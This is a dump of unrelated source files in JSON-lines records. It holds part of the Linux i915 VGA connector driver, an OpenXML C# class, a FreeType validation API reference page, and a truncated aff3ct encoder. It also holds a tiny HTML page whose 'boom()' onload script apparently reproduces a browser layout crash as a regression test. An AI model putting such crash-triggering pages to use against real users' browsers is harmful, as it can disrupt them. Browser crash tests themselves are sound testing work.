*connector,\n\t\t\t\t struct drm_property *property,\n\t\t\t\t uint64_t value)\n{\n\treturn 0;\n}\n\nstatic void intel_crt_reset(struct drm_connector *connector)\n{\n\tstruct drm_device *dev = connector->dev;\n\tstruct intel_crt *crt = intel_attached_crt(connector);\n\n\tif (HAS_PCH_SPLIT(dev))\n\t\tcrt->force_hotplug_required = 1;\n}\n\n/*\n * Routines for controlling stuff on the analog port\n */\n\nstatic const struct drm_encoder_helper_funcs intel_crt_helper_funcs = {\n\t.dpms = intel_crt_dpms,\n\t.mode_fixup = intel_crt_mode_fixup,\n\t.prepare = intel_encoder_prepare,\n\t.commit = intel_encoder_commit,\n\t.mode_set = intel_crt_mode_set,\n};\n\nstatic const struct drm_connector_funcs intel_crt_connector_funcs = {\n\t.reset = intel_crt_reset,\n\t.dpms = drm_helper_connector_dpms,\n\t.detect = intel_crt_detect,\n\t.fill_modes = drm_helper_probe_single_connector_modes,\n\t.destroy = intel_crt_destroy,\n\t.set_property = intel_crt_set_property,\n};\n\nstatic const struct drm_connector_helper_funcs intel_crt_connector_helper_funcs = {\n\t.mode_valid = intel_crt_mode_valid,\n\t.get_modes = intel_crt_get_modes,\n\t.best_encoder = intel_best_encoder,\n};\n\nstatic const struct drm_encoder_funcs intel_crt_enc_funcs = {\n\t.destroy = intel_encoder_destroy,\n};\n\nstatic int intel_no_crt_dmi_callback(const struct dmi_system_id *id)\n{\n\tDRM_DEBUG_KMS(\"Skipping CRT initialization for %s\\n\", id->ident);\n\treturn 1;\n}\n\nstatic const struct dmi_system_id intel_no_crt[] = {\n\t{\n\t\t.callback = intel_no_crt_dmi_callback,\n\t\t.ident = \"ACER ZGB\",\n\t\t.matches = {\n\t\t\tDMI_MATCH(DMI_SYS_VENDOR, \"ACER\"),\n\t\t\tDMI_MATCH(DMI_PRODUCT_NAME, \"ZGB\"),\n\t\t},\n\t},\n\t{\n\t\t.callback = intel_no_crt_dmi_callback,\n\t\t.ident = \"DELL XPS 8700\",\n\t\t.matches = {\n\t\t\tDMI_MATCH(DMI_SYS_VENDOR, \"Dell Inc.\"),\n\t\t\tDMI_MATCH(DMI_PRODUCT_NAME, \"XPS 8700\"),\n\t\t},\n\t},\n\t{ }\n};\n\nvoid intel_crt_init(struct drm_device *dev)\n{\n\tstruct drm_connector *connector;\n\tstruct intel_crt *crt;\n\tstruct intel_connector *intel_connector;\n\tstruct drm_i915_private *dev_priv = dev->dev_private;\n\n\t/* Skip machines without VGA that falsely report hotplug events */\n\tif (dmi_check_system(intel_no_crt))\n\t\treturn;\n\n\tcrt = kzalloc(sizeof(struct intel_crt), GFP_KERNEL);\n\tif (!crt)\n\t\treturn;\n\n\tintel_connector = kzalloc(sizeof(struct intel_connector), GFP_KERNEL);\n\tif (!intel_connector) {\n\t\tkfree(crt);\n\t\treturn;\n\t}\n\n\tconnector = &intel_connector->base;\n\tdrm_connector_init(dev, &intel_connector->base,\n\t\t\t &intel_crt_connector_funcs, DRM_MODE_CONNECTOR_VGA);\n\n\tdrm_encoder_init(dev, &crt->base.base, &intel_crt_enc_funcs,\n\t\t\t DRM_MODE_ENCODER_DAC);\n\n\tintel_connector_attach_encoder(intel_connector, &crt->base);\n\n\tcrt->base.type = INTEL_OUTPUT_ANALOG;\n\tcrt->base.clone_mask = (1 << INTEL_SDVO_NON_TV_CLONE_BIT |\n\t\t\t\t1 << INTEL_ANALOG_CLONE_BIT |\n\t\t\t\t1 << INTEL_SDVO_LVDS_CLONE_BIT);\n\tcrt->base.crtc_mask = (1 << 0) | (1 << 1);\n\tif (IS_GEN2(dev))\n\t\tconnector->interlace_allowed = 0;\n\telse\n\t\tconnector->interlace_allowed = 1;\n\tconnector->doublescan_allowed = 0;\n\n\tdrm_encoder_helper_add(&crt->base.base, &intel_crt_helper_funcs);\n\tdrm_connector_helper_add(connector, &intel_crt_connector_helper_funcs);\n\n\tdrm_sysfs_connector_add(connector);\n\n\tif (I915_HAS_HOTPLUG(dev))\n\t\tconnector->polled = DRM_CONNECTOR_POLL_HPD;\n\telse\n\t\tconnector->polled = DRM_CONNECTOR_POLL_CONNECT;\n\n\t/*\n\t * Configure the automatic hotplug detection stuff\n\t */\n\tcrt->force_hotplug_required = 0;\n\tif (HAS_PCH_SPLIT(dev)) {\n\t\tu32 adpa;\n\n\t\tadpa = I915_READ(PCH_ADPA);\n\t\tadpa &= ~ADPA_CRT_HOTPLUG_MASK;\n\t\tadpa |= ADPA_HOTPLUG_BITS;\n\t\tI915_WRITE(PCH_ADPA, adpa);\n\t\tPOSTING_READ(PCH_ADPA);\n\n\t\tDRM_DEBUG_KMS(\"pch crt adpa set to 0x%x\\n\", adpa);\n\t\tcrt->force_hotplug_required = 1;\n\t}\n\n\tdev_priv->hotplug_supported_mask |= CRT_HOTPLUG_INT_STATUS;\n}\n"} {"text": "// Copyright (c) Microsoft. All rights reserved.\n// Licensed under the MIT license. See LICENSE file in the project root for full license information.\n\nusing System;\nusing System.ComponentModel;\n\nnamespace DocumentFormat.OpenXml.Office2016.Drawing.ChartDrawing\n{\n /// <summary>\n /// <para>Defines the IdxXsdunsignedInt Class.</para>\n /// <para>This class is available in Office 2016 or above.</para>\n /// <para>When the object is serialized out as xml, it's qualified name is cx:idx.</para>\n /// </summary>\n [Obsolete(\"Please use UnsignedIntegerType as this type will be removed in a future version\")]\n [EditorBrowsable(EditorBrowsableState.Never)]\n public partial class IdxXsdunsignedInt : OpenXmlLeafTextElement\n {\n /// <summary>\n /// Initializes a new instance of the IdxXsdunsignedInt class.\n /// </summary>\n public IdxXsdunsignedInt() : base()\n {\n }\n\n /// <summary>\n /// Initializes a new instance of the IdxXsdunsignedInt class with the specified text content.\n /// </summary>\n /// <param name=\"text\">Specifies the text content of the element.</param>\n public IdxXsdunsignedInt(string text) : base(text)\n {\n }\n\n internal override OpenXmlSimpleType InnerTextToValue(string text)\n {\n return new UInt32Value { InnerText = text };\n }\n\n /// <inheritdoc/>\n public override OpenXmlElement CloneNode(bool deep) => CloneImp<IdxXsdunsignedInt>(deep);\n }\n}\n"} {"text": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\"\n\"http://www.w3.org/TR/html4/loose.dtd\">\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\n<title>FreeType-2.4.12 API Reference</title>\n<style type=\"text/css\">\n body { font-family: Verdana, Geneva, Arial, Helvetica, serif;\n color: #000000;\n background: #FFFFFF; }\n\n p { text-align: justify; }\n h1 { text-align: center; }\n li { text-align: justify; }\n td { padding: 0 0.5em 0 0.5em; }\n td.left { padding: 0 0.5em 0 0.5em;\n text-align: left; }\n\n a:link { color: #0000EF; }\n a:visited { color: #51188E; }\n a:hover { color: #FF0000; }\n\n span.keyword { font-family: monospace;\n text-align: left;\n white-space: pre;\n color: darkblue; }\n\n pre.colored { color: blue; }\n\n ul.empty { list-style-type: none; }\n</style>\n</head>\n<body>\n\n<table align=center><tr><td><font size=-1>[<a href=\"ft2-index.html\">Index</a>]</font></td>\n<td width=\"100%\"></td>\n<td><font size=-1>[<a href=\"ft2-toc.html\">TOC</a>]</font></td></tr></table>\n<center><h1>FreeType-2.4.12 API Reference</h1></center>\n\n<center><h1>\nTrueTypeGX/AAT Validation\n</h1></center>\n<h2>Synopsis</h2>\n<table align=center cellspacing=5 cellpadding=0 border=0>\n<tr><td></td><td><a href=\"#FT_VALIDATE_GX_LENGTH\">FT_VALIDATE_GX_LENGTH</a></td><td></td><td><a href=\"#FT_TrueTypeGX_Free\">FT_TrueTypeGX_Free</a></td><td></td><td><a href=\"#FT_ClassicKern_Free\">FT_ClassicKern_Free</a></td></tr>\n<tr><td></td><td><a href=\"#FT_VALIDATE_GXXXX\">FT_VALIDATE_GXXXX</a></td><td></td><td><a href=\"#FT_VALIDATE_CKERNXXX\">FT_VALIDATE_CKERNXXX</a></td><td></td><td></td></tr>\n<tr><td></td><td><a href=\"#FT_TrueTypeGX_Validate\">FT_TrueTypeGX_Validate</a></td><td></td><td><a href=\"#FT_ClassicKern_Validate\">FT_ClassicKern_Validate</a></td><td></td><td></td></tr>\n</table><br><br>\n\n<table align=center width=\"87%\"><tr><td>\n<p>This section contains the declaration of functions to validate some TrueTypeGX tables (feat, mort, morx, bsln, just, kern, opbd, trak, prop, lcar).</p>\n</td></tr></table><br>\n<table align=center width=\"75%\"><tr><td>\n<h4><a name=\"FT_VALIDATE_GX_LENGTH\">FT_VALIDATE_GX_LENGTH</a></h4>\n<table align=center width=\"87%\"><tr><td>\nDefined in FT_GX_VALIDATE_H (freetype/ftgxval.h).\n</td></tr></table><br>\n<table align=center width=\"87%\"><tr bgcolor=\"#D6E8FF\"><td><pre>\n\n#define <b>FT_VALIDATE_GX_LENGTH</b> (FT_VALIDATE_GX_LAST_INDEX + 1)\n\n</pre></table><br>\n<table align=center width=\"87%\"><tr><td>\n<p>The number of tables checked in this module. Use it as a parameter for the &lsquo;table-length&rsquo; argument of function <a href=\"ft2-gx_validation.html#FT_TrueTypeGX_Validate\">FT_TrueTypeGX_Validate</a>.</p>\n</td></tr></table><br>\n</td></tr></table>\n<hr width=\"75%\">\n<table align=center width=\"75%\"><tr><td><font size=-2>[<a href=\"ft2-index.html\">Index</a>]</font></td>\n<td width=\"100%\"></td>\n<td><font size=-2>[<a href=\"ft2-toc.html\">TOC</a>]</font></td></tr></table>\n\n<table align=center width=\"75%\"><tr><td>\n<h4><a name=\"FT_VALIDATE_GXXXX\">FT_VALIDATE_GXXXX</a></h4>\n<table align=center width=\"87%\"><tr><td>\nDefined in FT_GX_VALIDATE_H (freetype/ftgxval.h).\n</td></tr></table><br>\n<table align=center width=\"87%\"><tr bgcolor=\"#D6E8FF\"><td><pre>\n\n#define <a href=\"ft2-gx_validation.html#FT_VALIDATE_GXXXX\">FT_VALIDATE_feat</a> FT_VALIDATE_GX_BITFIELD( feat )\n#define <a href=\"ft2-gx_validation.html#FT_VALIDATE_GXXXX\">FT_VALIDATE_mort</a> FT_VALIDATE_GX_BITFIELD( mort )\n#define <a href=\"ft2-gx_validation.html#FT_VALIDATE_GXXXX\">FT_VALIDATE_morx</a> FT_VALIDATE_GX_BITFIELD( morx )\n#define <a href=\"ft2-gx_validation.html#FT_VALIDATE_GXXXX\">FT_VALIDATE_bsln</a> FT_VALIDATE_GX_BITFIELD( bsln )\n#define <a href=\"ft2-gx_validation.html#FT_VALIDATE_GXXXX\">FT_VALIDATE_just</a> FT_VALIDATE_GX_BITFIELD( just )\n#define <a href=\"ft2-gx_validation.html#FT_VALIDATE_GXXXX\">FT_VALIDATE_kern</a> FT_VALIDATE_GX_BITFIELD( kern )\n#define <a href=\"ft2-gx_validation.html#FT_VALIDATE_GXXXX\">FT_VALIDATE_opbd</a> FT_VALIDATE_GX_BITFIELD( opbd )\n#define <a href=\"ft2-gx_validation.html#FT_VALIDATE_GXXXX\">FT_VALIDATE_trak</a> FT_VALIDATE_GX_BITFIELD( trak )\n#define <a href=\"ft2-gx_validation.html#FT_VALIDATE_GXXXX\">FT_VALIDATE_prop</a> FT_VALIDATE_GX_BITFIELD( prop )\n#define <a href=\"ft2-gx_validation.html#FT_VALIDATE_GXXXX\">FT_VALIDATE_lcar</a> FT_VALIDATE_GX_BITFIELD( lcar )\n\n#define <a href=\"ft2-gx_validation.html#FT_VALIDATE_GXXXX\">FT_VALIDATE_GX</a> ( <a href=\"ft2-gx_validation.html#FT_VALIDATE_GXXXX\">FT_VALIDATE_feat</a> | \\\n <a href=\"ft2-gx_validation.html#FT_VALIDATE_GXXXX\">FT_VALIDATE_mort</a> | \\\n <a href=\"ft2-gx_validation.html#FT_VALIDATE_GXXXX\">FT_VALIDATE_morx</a> | \\\n <a href=\"ft2-gx_validation.html#FT_VALIDATE_GXXXX\">FT_VALIDATE_bsln</a> | \\\n <a href=\"ft2-gx_validation.html#FT_VALIDATE_GXXXX\">FT_VALIDATE_just</a> | \\\n <a href=\"ft2-gx_validation.html#FT_VALIDATE_GXXXX\">FT_VALIDATE_kern</a> | \\\n <a href=\"ft2-gx_validation.html#FT_VALIDATE_GXXXX\">FT_VALIDATE_opbd</a> | \\\n <a href=\"ft2-gx_validation.html#FT_VALIDATE_GXXXX\">FT_VALIDATE_trak</a> | \\\n <a href=\"ft2-gx_validation.html#FT_VALIDATE_GXXXX\">FT_VALIDATE_prop</a> | \\\n <a href=\"ft2-gx_validation.html#FT_VALIDATE_GXXXX\">FT_VALIDATE_lcar</a> )\n\n</pre></table><br>\n<table align=center width=\"87%\"><tr><td>\n<p>A list of bit-field constants used with <a href=\"ft2-gx_validation.html#FT_TrueTypeGX_Validate\">FT_TrueTypeGX_Validate</a> to indicate which TrueTypeGX/AAT Type tables should be validated.</p>\n</td></tr></table><br>\n<table align=center width=\"87%\" cellpadding=5><tr bgcolor=\"#EEEEFF\"><td><em><b>values</b></em></td></tr><tr><td>\n<p></p>\n<table cellpadding=3 border=0>\n<tr valign=top><td><b>FT_VALIDATE_feat</b></td><td>\n<p>Validate &lsquo;feat&rsquo; table.</p>\n</td></tr>\n<tr valign=top><td><b>FT_VALIDATE_mort</b></td><td>\n<p>Validate &lsquo;mort&rsquo; table.</p>\n</td></tr>\n<tr valign=top><td><b>FT_VALIDATE_morx</b></td><td>\n<p>Validate &lsquo;morx&rsquo; table.</p>\n</td></tr>\n<tr valign=top><td><b>FT_VALIDATE_bsln</b></td><td>\n<p>Validate &lsquo;bsln&rsquo; table.</p>\n</td></tr>\n<tr valign=top><td><b>FT_VALIDATE_just</b></td><td>\n<p>Validate &lsquo;just&rsquo; table.</p>\n</td></tr>\n<tr valign=top><td><b>FT_VALIDATE_kern</b></td><td>\n<p>Validate &lsquo;kern&rsquo; table.</p>\n</td></tr>\n<tr valign=top><td><b>FT_VALIDATE_opbd</b></td><td>\n<p>Validate &lsquo;opbd&rsquo; table.</p>\n</td></tr>\n<tr valign=top><td><b>FT_VALIDATE_trak</b></td><td>\n<p>Validate &lsquo;trak&rsquo; table.</p>\n</td></tr>\n<tr valign=top><td><b>FT_VALIDATE_prop</b></td><td>\n<p>Validate &lsquo;prop&rsquo; table.</p>\n</td></tr>\n<tr valign=top><td><b>FT_VALIDATE_lcar</b></td><td>\n<p>Validate &lsquo;lcar&rsquo; table.</p>\n</td></tr>\n<tr valign=top><td><b>FT_VALIDATE_GX</b></td><td>\n<p>Validate all TrueTypeGX tables (feat, mort, morx, bsln, just, kern, opbd, trak, prop and lcar).</p>\n</td></tr>\n</table>\n</td></tr></table>\n</td></tr></table>\n<hr width=\"75%\">\n<table align=center width=\"75%\"><tr><td><font size=-2>[<a href=\"ft2-index.html\">Index</a>]</font></td>\n<td width=\"100%\"></td>\n<td><font size=-2>[<a href=\"ft2-toc.html\">TOC</a>]</font></td></tr></table>\n\n<table align=center width=\"75%\"><tr><td>\n<h4><a name=\"FT_TrueTypeGX_Validate\">FT_TrueTypeGX_Validate</a></h4>\n<table align=center width=\"87%\"><tr><td>\nDefined in FT_GX_VALIDATE_H (freetype/ftgxval.h).\n</td></tr></table><br>\n<table align=center width=\"87%\"><tr bgcolor=\"#D6E8FF\"><td><pre>\n\n FT_EXPORT( <a href=\"ft2-basic_types.html#FT_Error\">FT_Error</a> )\n <b>FT_TrueTypeGX_Validate</b>( <a href=\"ft2-base_interface.html#FT_Face\">FT_Face</a> face,\n <a href=\"ft2-basic_types.html#FT_UInt\">FT_UInt</a> validation_flags,\n <a href=\"ft2-basic_types.html#FT_Bytes\">FT_Bytes</a> tables[<a href=\"ft2-gx_validation.html#FT_VALIDATE_GX_LENGTH\">FT_VALIDATE_GX_LENGTH</a>],\n <a href=\"ft2-basic_types.html#FT_UInt\">FT_UInt</a> table_length );\n\n</pre></table><br>\n<table align=center width=\"87%\"><tr><td>\n<p>Validate various TrueTypeGX tables to assure that all offsets and indices are valid. The idea is that a higher-level library which actually does the text layout can access those tables without error checking (which can be quite time consuming).</p>\n</td></tr></table><br>\n<table align=center width=\"87%\" cellpadding=5><tr bgcolor=\"#EEEEFF\"><td><em><b>input</b></em></td></tr><tr><td>\n<p></p>\n<table cellpadding=3 border=0>\n<tr valign=top><td><b>face</b></td><td>\n<p>A handle to the input face.</p>\n</td></tr>\n<tr valign=top><td><b>validation_flags</b></td><td>\n<p>A bit field which specifies the tables to be validated. See <a href=\"ft2-gx_validation.html#FT_VALIDATE_GXXXX\">FT_VALIDATE_GXXXX</a> for possible values.</p>\n</td></tr>\n<tr valign=top><td><b>table_length</b></td><td>\n<p>The size of the &lsquo;tables&rsquo; array. Normally, <a href=\"ft2-gx_validation.html#FT_VALIDATE_GX_LENGTH\">FT_VALIDATE_GX_LENGTH</a> should be passed.</p>\n</td></tr>\n</table>\n</td></tr></table>\n<table align=center width=\"87%\" cellpadding=5><tr bgcolor=\"#EEEEFF\"><td><em><b>output</b></em></td></tr><tr><td>\n<p></p>\n<table cellpadding=3 border=0>\n<tr valign=top><td><b>tables</b></td><td>\n<p>The array where all validated sfnt tables are stored. The array itself must be allocated by a client.</p>\n</td></tr>\n</table>\n</td></tr></table>\n<table align=center width=\"87%\" cellpadding=5><tr bgcolor=\"#EEEEFF\"><td><em><b>return</b></em></td></tr><tr><td>\n<p>FreeType error code. 0&nbsp;means success.</p>\n</td></tr></table>\n<table align=center width=\"87%\" cellpadding=5><tr bgcolor=\"#EEEEFF\"><td><em><b>note</b></em></td></tr><tr><td>\n<p>This function only works with TrueTypeGX fonts, returning an error otherwise.</p>\n<p>After use, the application should deallocate the buffers pointed to by each &lsquo;tables&rsquo; element, by calling <a href=\"ft2-gx_validation.html#FT_TrueTypeGX_Free\">FT_TrueTypeGX_Free</a>. A NULL value indicates that the table either doesn't exist in the font, the application hasn't asked for validation, or the validator doesn't have the ability to validate the sfnt table.</p>\n</td></tr></table>\n</td></tr></table>\n<hr width=\"75%\">\n<table align=center width=\"75%\"><tr><td><font size=-2>[<a href=\"ft2-index.html\">Index</a>]</font></td>\n<td width=\"100%\"></td>\n<td><font size=-2>[<a href=\"ft2-toc.html\">TOC</a>]</font></td></tr></table>\n\n<table align=center width=\"75%\"><tr><td>\n<h4><a name=\"FT_TrueTypeGX_Free\">FT_TrueTypeGX_Free</a></h4>\n<table align=center width=\"87%\"><tr><td>\nDefined in FT_GX_VALIDATE_H (freetype/ftgxval.h).\n</td></tr></table><br>\n<table align=center width=\"87%\"><tr bgcolor=\"#D6E8FF\"><td><pre>\n\n FT_EXPORT( <span class=\"keyword\">void</span> )\n <b>FT_TrueTypeGX_Free</b>( <a href=\"ft2-base_interface.html#FT_Face\">FT_Face</a> face,\n <a href=\"ft2-basic_types.html#FT_Bytes\">FT_Bytes</a> table );\n\n</pre></table><br>\n<table align=center width=\"87%\"><tr><td>\n<p>Free the buffer allocated by TrueTypeGX validator.</p>\n</td></tr></table><br>\n<table align=center width=\"87%\" cellpadding=5><tr bgcolor=\"#EEEEFF\"><td><em><b>input</b></em></td></tr><tr><td>\n<p></p>\n<table cellpadding=3 border=0>\n<tr valign=top><td><b>face</b></td><td>\n<p>A handle to the input face.</p>\n</td></tr>\n<tr valign=top><td><b>table</b></td><td>\n<p>The pointer to the buffer allocated by <a href=\"ft2-gx_validation.html#FT_TrueTypeGX_Validate\">FT_TrueTypeGX_Validate</a>.</p>\n</td></tr>\n</table>\n</td></tr></table>\n<table align=center width=\"87%\" cellpadding=5><tr bgcolor=\"#EEEEFF\"><td><em><b>note</b></em></td></tr><tr><td>\n<p>This function must be used to free the buffer allocated by <a href=\"ft2-gx_validation.html#FT_TrueTypeGX_Validate\">FT_TrueTypeGX_Validate</a> only.</p>\n</td></tr></table>\n</td></tr></table>\n<hr width=\"75%\">\n<table align=center width=\"75%\"><tr><td><font size=-2>[<a href=\"ft2-index.html\">Index</a>]</font></td>\n<td width=\"100%\"></td>\n<td><font size=-2>[<a href=\"ft2-toc.html\">TOC</a>]</font></td></tr></table>\n\n<table align=center width=\"75%\"><tr><td>\n<h4><a name=\"FT_VALIDATE_CKERNXXX\">FT_VALIDATE_CKERNXXX</a></h4>\n<table align=center width=\"87%\"><tr><td>\nDefined in FT_GX_VALIDATE_H (freetype/ftgxval.h).\n</td></tr></table><br>\n<table align=center width=\"87%\"><tr bgcolor=\"#D6E8FF\"><td><pre>\n\n#define <a href=\"ft2-gx_validation.html#FT_VALIDATE_CKERNXXX\">FT_VALIDATE_MS</a> ( FT_VALIDATE_GX_START &lt;&lt; 0 )\n#define <a href=\"ft2-gx_validation.html#FT_VALIDATE_CKERNXXX\">FT_VALIDATE_APPLE</a> ( FT_VALIDATE_GX_START &lt;&lt; 1 )\n\n#define <a href=\"ft2-gx_validation.html#FT_VALIDATE_CKERNXXX\">FT_VALIDATE_CKERN</a> ( <a href=\"ft2-gx_validation.html#FT_VALIDATE_CKERNXXX\">FT_VALIDATE_MS</a> | <a href=\"ft2-gx_validation.html#FT_VALIDATE_CKERNXXX\">FT_VALIDATE_APPLE</a> )\n\n</pre></table><br>\n<table align=center width=\"87%\"><tr><td>\n<p>A list of bit-field constants used with <a href=\"ft2-gx_validation.html#FT_ClassicKern_Validate\">FT_ClassicKern_Validate</a> to indicate the classic kern dialect or dialects. If the selected type doesn't fit, <a href=\"ft2-gx_validation.html#FT_ClassicKern_Validate\">FT_ClassicKern_Validate</a> regards the table as invalid.</p>\n</td></tr></table><br>\n<table align=center width=\"87%\" cellpadding=5><tr bgcolor=\"#EEEEFF\"><td><em><b>values</b></em></td></tr><tr><td>\n<p></p>\n<table cellpadding=3 border=0>\n<tr valign=top><td><b>FT_VALIDATE_MS</b></td><td>\n<p>Handle the &lsquo;kern&rsquo; table as a classic Microsoft kern table.</p>\n</td></tr>\n<tr valign=top><td><b>FT_VALIDATE_APPLE</b></td><td>\n<p>Handle the &lsquo;kern&rsquo; table as a classic Apple kern table.</p>\n</td></tr>\n<tr valign=top><td><b>FT_VALIDATE_CKERN</b></td><td>\n<p>Handle the &lsquo;kern&rsquo; as either classic Apple or Microsoft kern table.</p>\n</td></tr>\n</table>\n</td></tr></table>\n</td></tr></table>\n<hr width=\"75%\">\n<table align=center width=\"75%\"><tr><td><font size=-2>[<a href=\"ft2-index.html\">Index</a>]</font></td>\n<td width=\"100%\"></td>\n<td><font size=-2>[<a href=\"ft2-toc.html\">TOC</a>]</font></td></tr></table>\n\n<table align=center width=\"75%\"><tr><td>\n<h4><a name=\"FT_ClassicKern_Validate\">FT_ClassicKern_Validate</a></h4>\n<table align=center width=\"87%\"><tr><td>\nDefined in FT_GX_VALIDATE_H (freetype/ftgxval.h).\n</td></tr></table><br>\n<table align=center width=\"87%\"><tr bgcolor=\"#D6E8FF\"><td><pre>\n\n FT_EXPORT( <a href=\"ft2-basic_types.html#FT_Error\">FT_Error</a> )\n <b>FT_ClassicKern_Validate</b>( <a href=\"ft2-base_interface.html#FT_Face\">FT_Face</a> face,\n <a href=\"ft2-basic_types.html#FT_UInt\">FT_UInt</a> validation_flags,\n <a href=\"ft2-basic_types.html#FT_Bytes\">FT_Bytes</a> *ckern_table );\n\n</pre></table><br>\n<table align=center width=\"87%\"><tr><td>\n<p>Validate classic (16-bit format) kern table to assure that the offsets and indices are valid. The idea is that a higher-level library which actually does the text layout can access those tables without error checking (which can be quite time consuming).</p>\n<p>The &lsquo;kern&rsquo; table validator in <a href=\"ft2-gx_validation.html#FT_TrueTypeGX_Validate\">FT_TrueTypeGX_Validate</a> deals with both the new 32-bit format and the classic 16-bit format, while FT_ClassicKern_Validate only supports the classic 16-bit format.</p>\n</td></tr></table><br>\n<table align=center width=\"87%\" cellpadding=5><tr bgcolor=\"#EEEEFF\"><td><em><b>input</b></em></td></tr><tr><td>\n<p></p>\n<table cellpadding=3 border=0>\n<tr valign=top><td><b>face</b></td><td>\n<p>A handle to the input face.</p>\n</td></tr>\n<tr valign=top><td><b>validation_flags</b></td><td>\n<p>A bit field which specifies the dialect to be validated. See <a href=\"ft2-gx_validation.html#FT_VALIDATE_CKERNXXX\">FT_VALIDATE_CKERNXXX</a> for possible values.</p>\n</td></tr>\n</table>\n</td></tr></table>\n<table align=center width=\"87%\" cellpadding=5><tr bgcolor=\"#EEEEFF\"><td><em><b>output</b></em></td></tr><tr><td>\n<p></p>\n<table cellpadding=3 border=0>\n<tr valign=top><td><b>ckern_table</b></td><td>\n<p>A pointer to the kern table.</p>\n</td></tr>\n</table>\n</td></tr></table>\n<table align=center width=\"87%\" cellpadding=5><tr bgcolor=\"#EEEEFF\"><td><em><b>return</b></em></td></tr><tr><td>\n<p>FreeType error code. 0&nbsp;means success.</p>\n</td></tr></table>\n<table align=center width=\"87%\" cellpadding=5><tr bgcolor=\"#EEEEFF\"><td><em><b>note</b></em></td></tr><tr><td>\n<p>After use, the application should deallocate the buffers pointed to by &lsquo;ckern_table&rsquo;, by calling <a href=\"ft2-gx_validation.html#FT_ClassicKern_Free\">FT_ClassicKern_Free</a>. A NULL value indicates that the table doesn't exist in the font.</p>\n</td></tr></table>\n</td></tr></table>\n<hr width=\"75%\">\n<table align=center width=\"75%\"><tr><td><font size=-2>[<a href=\"ft2-index.html\">Index</a>]</font></td>\n<td width=\"100%\"></td>\n<td><font size=-2>[<a href=\"ft2-toc.html\">TOC</a>]</font></td></tr></table>\n\n<table align=center width=\"75%\"><tr><td>\n<h4><a name=\"FT_ClassicKern_Free\">FT_ClassicKern_Free</a></h4>\n<table align=center width=\"87%\"><tr><td>\nDefined in FT_GX_VALIDATE_H (freetype/ftgxval.h).\n</td></tr></table><br>\n<table align=center width=\"87%\"><tr bgcolor=\"#D6E8FF\"><td><pre>\n\n FT_EXPORT( <span class=\"keyword\">void</span> )\n <b>FT_ClassicKern_Free</b>( <a href=\"ft2-base_interface.html#FT_Face\">FT_Face</a> face,\n <a href=\"ft2-basic_types.html#FT_Bytes\">FT_Bytes</a> table );\n\n</pre></table><br>\n<table align=center width=\"87%\"><tr><td>\n<p>Free the buffer allocated by classic Kern validator.</p>\n</td></tr></table><br>\n<table align=center width=\"87%\" cellpadding=5><tr bgcolor=\"#EEEEFF\"><td><em><b>input</b></em></td></tr><tr><td>\n<p></p>\n<table cellpadding=3 border=0>\n<tr valign=top><td><b>face</b></td><td>\n<p>A handle to the input face.</p>\n</td></tr>\n<tr valign=top><td><b>table</b></td><td>\n<p>The pointer to the buffer that is allocated by <a href=\"ft2-gx_validation.html#FT_ClassicKern_Validate\">FT_ClassicKern_Validate</a>.</p>\n</td></tr>\n</table>\n</td></tr></table>\n<table align=center width=\"87%\" cellpadding=5><tr bgcolor=\"#EEEEFF\"><td><em><b>note</b></em></td></tr><tr><td>\n<p>This function must be used to free the buffer allocated by <a href=\"ft2-gx_validation.html#FT_ClassicKern_Validate\">FT_ClassicKern_Validate</a> only.</p>\n</td></tr></table>\n</td></tr></table>\n<hr width=\"75%\">\n<table align=center width=\"75%\"><tr><td><font size=-2>[<a href=\"ft2-index.html\">Index</a>]</font></td>\n<td width=\"100%\"></td>\n<td><font size=-2>[<a href=\"ft2-toc.html\">TOC</a>]</font></td></tr></table>\n\n</body>\n</html>\n"} {"text": "<!DOCTYPE html>\n<html>\n<head>\n<style type=\"text/css\">\n\n#inner:first-letter { }\n#outer { direction: rtl; }\n\n</style>\n\n<script type=\"text/javascript\">\n\nfunction boom()\n{\n document.documentElement.style.whiteSpace = \"pre\";\n}\n\n</script>\n</head>\n\n<body onload=\"boom();\"><div id=\"outer\"><div id=\"inner\"><span id=\"s\"><span>\n\n</span>AB</span></div></div></body>\n</html>\n"} {"text": "#include <string>\n#include <vector>\n#include <sstream>\n#include <algorithm>\n\n#include \"Tools/Exception/exception.hpp\"\n#include \"Module/Encoder/Turbo_DB/Encoder_turbo_DB.hpp\"\n\nusing namespace aff3ct;\nusing namespace aff3ct::module;\n\ntemplate <typename B>\nEncoder_turbo_DB<B>\n::Encoder_turbo_DB(const int& K, const int& N, const Interleaver<B> &pi,\n Encoder_RSC_DB<B> &enco_n, Encoder_RSC_DB<B> &enco_i)\n: Encoder<B>(K, N, enco_n.get_n_frames()),\n pi(pi),\n enco_n(enco_n),\n enco_i(enco_i),\n U_K_cpy(K * enco_n.get_n_frames()),\n U_K_i (K * enco_n.get_n_frames()),\n X_N_tmp(N * enco_n.get_n_frames()),\n par_n(K),\n par_i(K)\n{\n\tconst std::string name = \"Encoder_turbo_DB\";\n\tthis->set_name(name);\n\n\tif (K % 2)\n\t{\n\t\tstd::stringstream message;\n\t\tmessage << \"'K' has to be a divisible by 2 ('K' = \" << K << \").\";\n\t\tthrow tools::invalid_argument(__FILE__, __LINE__, __func__, message.str());\n\t}\n\n\tif (N != 3 * K)\n\t{\n\t\tstd::stringstream message;\n\t\tmessage << \"'N' has to be equal to 3 * 'K' ('N' = \" << N << \", 'K' = \" << K << \").\";\n\t\tthrow tools::invalid_argument(__FILE__, __LINE__, __func__, message.str());\n\t}\n\n\tif ((int)pi.get_core().get_size() * 2 != K)\n\t{\n\t\tstd::stringstream message;\n\t\tmessage << \"'pi.get_core().get_size()' * 2 has to be equal to 'K' ('pi.get_core().get_size()' = \"\n\t\t << pi.get_core().get_size() << \", 'K' = \" << K << \").\";\n\t\tthrow tools::length_error(__FILE__, __LINE__, __func__, message.str());\n\t}\n\n\tif (!enco_n.is_buffered() || !enco_i.is_buffered())\n\t{\n\t\tstd::stringstream message;\n\t\tmessage << \"Both 'enco_n.is_buffered()' and 'enco_i.is_buffered()' have to be true ('enco_n.is_buffered()' = \"\n\t\t << enco_n.is_buffered() << \", 'enco_i.is_buffered()' = \" << enco_i.is_buffered() << \").\";\n\t\tthrow tools::invalid_argument(__FILE__, __LINE__, __func__, message.str());\n\t}\n\n\tif (enco_n.get_n_frames() != enco_i.get_n_frames())\n\t{\n\t\tstd::stringstream 